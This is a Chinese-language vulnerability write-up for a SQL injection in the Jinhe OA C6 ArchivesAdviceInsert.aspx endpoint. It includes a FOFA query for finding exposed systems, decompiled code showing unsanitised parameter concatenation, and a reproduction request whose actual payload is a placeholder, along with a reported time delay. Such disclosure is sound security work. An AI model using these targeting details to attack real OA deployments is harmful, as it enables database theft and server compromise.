漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 ArchivesAdviceInsert.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 ArchivesAdviceInsert.aspx 的源码,在 bin 目录下查找 JHBase.Web.Archives.dll 将其进行反编译后找到 ArchivesAdviceInsert 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
this.Response.Expires = -1;
this.ReadLocal();
if (this.Request.QueryString["filetype"] != null)
this.fileType = this.Request.QueryString["filetype"].ToString();
if (this.Request.QueryString["fileid"] != null)
this.fileID = this.Request.QueryString["fileid"].ToString();
DataTable templet = Templet.getTemplet("9", "1");
if (templet != null && ((InternalDataCollectionBase) templet.Rows).Count > 0)
this.fileName = "../Resource/GovTemplet/" + templet.Rows[0]["ModelName"].ToString();
else
this.Response.Write("<script>alert(\"没有反馈意见模板\")</script>");
this.JhWOC2.FileURL = this.fileName;
this.JhWOC2.FileTransURL = "../JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=" + this.fileName;
this.JhWOC2.InitializationType = JhWOC.DocumentType.doc;
DataTable allAdvice = ArchivesAdvice.GetAllAdvice(this.fileType, this.fileID);
参数 filetype、fileid 被带入GetAllAdvice方法
public static DataTable GetAllAdvice(string fileType, string fileID)
{
string QueryString = $"Select FileType,FileID,AdviceUserID,AdviceDetail,AdviceTime,UserName from ArchivesAdvice a,Users b where a.AdviceUserID = b.UserID and FileType like '%{fileType}%' and FileID = '{fileID}' order by AdviceTime";
return DBOperatorFactory.GetDBOperator().ExecSQLReDataTable(QueryString);
}
至此,就非常明了了,参数均是被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。
漏洞复现
GET /c6/Jhsoft.Web.Archives/ArchivesAdviceInsert.aspx/?fileid=1&filetype=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 5 秒

